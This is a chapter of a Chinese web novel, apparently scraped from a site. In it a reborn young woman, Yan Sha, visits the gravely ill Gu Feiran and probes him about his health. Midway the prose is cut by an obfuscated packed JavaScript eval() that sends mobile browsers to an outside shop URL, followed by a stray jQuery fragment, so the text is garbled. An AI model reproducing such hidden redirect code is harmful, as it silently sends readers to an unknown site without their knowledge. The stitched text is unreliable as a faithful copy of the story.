自从顾老太爷故去后,顾家老宅平时基本没有什么人住。在顾斐然出国前,这里只有顾斐然一个人住,而自从顾斐然出国后,这里就彻底冷清了下来。
现在顾斐然回国了,顾家老宅就像是枯木逢春一般,忽然又显现出了一丝生机。
只是,这一丝生机若有若无,仿佛下一秒就会彻底断绝。
颜莎看着顾家老宅熟悉的大门和挂在门楣上的牌匾,忽然发现这块熟悉牌匾好像不像小时候那么高不可及了。
颜莎不禁有些恍惚,心道原来是她长高了。
她抬手敲了敲门环,敲完后,她又回想起了自己小时候因为太矮,怎么都够不到门环,所以急得直跳脚的事情,不禁觉得有些好笑。
然后笑着笑着,她又有些笑不出来了。
自从顾老太爷和爷爷相继去世后,她已经很久很久不敢回忆年少时曾在这里度过的记忆了。
而那些记忆,也仿佛早已经埋葬在了久远的过去,回头看时只剩下了断壁残垣。
不久,门开了。
颜莎本以为来开门的会是一张陌生的面孔,却没想到居然是顾斐然亲自来给她开门的。
而且他离开了轮椅。
颜莎看着勉强自己站起来,几乎全身心都靠在门上的顾斐然,不由呼吸一滞。
“斐然哥哥,你……你怎么站起来了?佣人呢?怎么没人照顾你?”
颜莎连忙上前扶住摇摇欲坠的顾斐然,这才看到了停在一旁的轮椅,她赶紧将顾斐然安置在轮椅上,道:“斐然哥哥,你也太不注意了,你这要是突然又昏过去了,我就是有十张嘴也说不清了!”
颜莎太过自来熟,力气又大,体弱多病的顾斐然完全挣扎不能,回过神时人已经好端端坐回了轮椅里。
顾斐然看着颜莎忙前忙后,先是自顾自把门关了,接着又自顾自开始推他的轮椅,完全没将她自己当客人,不由哑然失笑。
“我的身体还没有脆弱到那种地步。莎莎,你怎么忽然来了,是找我有什么事吗?”顾斐然看向颜莎的目光布满询问。
他才刚回国,知道他回国的人不多,也不知道颜莎到底是怎么知道的。以他对颜莎的了解,她此次前来,显然不可能是单纯来看他的。
颜莎原本还想先寒暄一下的,没想到顾斐然上来就问她是来干什么的,她这寒暄的话忽然就有些说不下去了。
好扫兴的一个人!
颜莎内心嘀咕不已。可一想到这人之前在生日晚宴上说过的话,颜莎又忍不住怀疑他是故意这么做的。
“斐然哥哥,我确实找你有些事,不过不重要,重要的是你。”颜莎一边说,一边推着顾斐然往里走,“斐然哥哥,你怎么忽然从国外回来了?在国外治疗了那么久,你现在的身体状况是不是比以前好多了!所以才回来了?”
颜莎没有否认自己找顾斐然有事,但她还是决定先关心一下他的身体健康。
顾斐然微微蹙眉,他并不习惯颜莎在他身后为他推轮椅,但他显然制止不了她,只能随她去。
不过他并不想提及有关身体健康的问题,于是道:“不必担心我的身体。莎莎,你来找我究竟有什么事?如果是遇到了什么困难的话你就直说吧,能帮的我一定帮。”
顾斐然的语气是温和的,但他话里的内容可算不上温和。
颜莎微顿。
她看向顾斐然,从她的角度只能看到他的侧脸,瘦削,苍白。明明身量高大,却轻如薄纸,好像风一吹就能被吹跑。
颜莎已经记不清自己到底有多久没见过顾斐然了,除去前面的两次生日晚宴,她大概有近十年没见过他了吧?在她的记忆里,他还一直都是病弱少年的模样,她原本还以为他没有机会长大了。
颜莎看不到顾斐然的眼睛,却能猜到他现在是什么神情。
这位人前温润如玉的世家公子,在面对她的时候却总是没什么耐心,他此刻的表情一定是烦躁又嫌弃的吧。
而且瞧瞧他这话说的,她要是没事还不能来找他了是吗?在他的眼里,她就是那么功利的一个人吗?
颜莎莫名就有些不服气。
她知道顾斐然讨厌她,不过没关系,因为她也不喜欢顾斐然。
颜莎熟练地戴上了绿茶面具。
“多谢斐然哥哥,不过我的事还不着急。”颜莎慢悠悠说道,语气乖巧而温柔。说着她干脆将轮椅调转方向,把顾斐然往园林里推。
他对她没有耐心,她对他可有的是耐心。
白天的顾家老宅和晚上的顾家老宅给人的感觉完全不一样。一个模糊,一个清晰,但同样古色古香。
顾斐然眉头紧皱,但颜莎看不见。
九月已经没那么热了,但也不能说有多冷,然而顾斐然坐在轮椅上却还需要盖一条薄薄的毯子保暖。
颜莎看着薄毯,若有所思。
秋天的风吹在她脸上是凉爽的,很舒服,但吹在顾斐然身上显然不是一样的感觉。
而她也很清楚,顾斐然已经没有几个月好活了。
他去国外治了几年,确实延长了一些寿命,但也只是延长了一些。
他现在选择回国,就已经是放弃了后续的治疗,决心等死了。
谁也不知道他已经快死了,所有人都以为他已经好得差不多了。
“斐然哥哥,我听说国外的治疗技术很先进也更成熟,有很多和你一样的人都治好了,所以你是不是也快治好了呀?一定是的对吧,你刚才都能站起来给我开门了!你知道当我看到给我开门的人是你的时候有多惊讶吗?那么好的消息你这么都不知道早点跟我们说的啊,不然我也不会被你吓一跳了!”
颜莎假装自己什么也不知道,语气天真无邪,无比绿茶,听着似乎真心诚意在为顾斐然能痊愈而感到高兴。
至于到底有多少真心,也就只有颜莎自己知道了。
而她这话听在顾斐然的耳朵里,分明就是哪壶不开提哪壶。
颜莎当然是故意的,因为上一世,顾斐然是一个人死在顾家老宅的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388279|139825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他死得太突然了,谁也想不到他会死。
颜莎参加了他的归国生日晚会,也参加了他的葬礼。她可以很清楚地记得自己在生日晚宴上是什么心情,却几乎忘了自己在他的葬礼那天到底是什么心情了。
她只记得那个冬天很冷很冷,刺入骨髓的冷。
天也是昏沉的,所有人都穿着一身黑色,只有雪花洁白而冰冷。
如果真要说是什么情绪多一点,大概就是惋惜吧。
惋惜他年纪轻轻就死了,惋惜他没有继续治疗,惋惜他明明可以有机会活着……却还是选择了放弃。
她不明白他为什么会选择放弃。
他明明还是有一定几率活下来的。一定的几率。
可他还是选择了放弃。
为什么呢?
颜莎想要找出答案。
顾斐然沉默着没有说话,颜莎微微皱眉,语气担忧道:“斐然哥哥你怎么不回答我?是不是还没有完全好,后续是不是还要出国继续治疗啊?”
顾斐然仍旧没有回答。
颜莎也不催他,继续自顾自道:“我知道了,过几天就是你的生日了,你一定是想先回来过生日的对吧!那你想要什么生日礼物呢,你跟我说,只要在我的能力范围内,我一定送你!”太贵了她可不舍得。
颜莎推着顾斐然缓缓走进了苏式园林里,就像是走进了一幅古色古香的彩色水墨画里。
九月了,池塘里仍旧开着晚荷,水榭檩子上垂挂的透明帘子在风中轻轻飘动着,一切都看着和多年前的一样。
颜莎推着顾斐然停在荷塘边,然后一直沉默的顾斐然终于开口了。
“不必准备什么,莎莎,你能来参加我的生日会我就很高兴了。”
顾斐然的语气客气而温和,仿佛他不曾为颜莎的到来感到烦躁不耐,仿佛他从始至终都一直是那个所有人眼中的温润公子。
而他仍旧没有提及自己的身体状况,不说好也不说坏,像是默认了颜莎的猜测。
颜莎却知道他这话完全言不由衷。
既然他怎么都不肯提及自己的身体状况,颜莎只得暂时偃旗息鼓。
她无比绿茶地惊喜道:“斐然哥哥,你说的是真的吗?真的不用我为你准备什么礼物?那我怎么好意思呢?我觉得生日礼物还是应该准备的,斐然哥哥,你就说你想要什么吧,不然我怕我送的东西你不喜欢。”
颜莎以前也送过顾斐然生日礼物,但显然他都不喜欢。
顾斐然也想起了曾经收到的那些礼物,不由嘴角微抽。
怕颜莎乱来,他只好道:“那就送我一件衣服或者一顶帽子吧。”
“行。”颜莎答应得很痛快,然后又问道:“那斐然哥哥打算什么时候再出国啊,这次回来会在国内待很久吗?”
颜莎无比巧妙地再次把话题扯了回去,她就不信自己撬不出一点实话。
顾斐然仍旧不想回答颜莎的问题,但这回他似乎不回答也不行了。
“或许。”顾斐然道。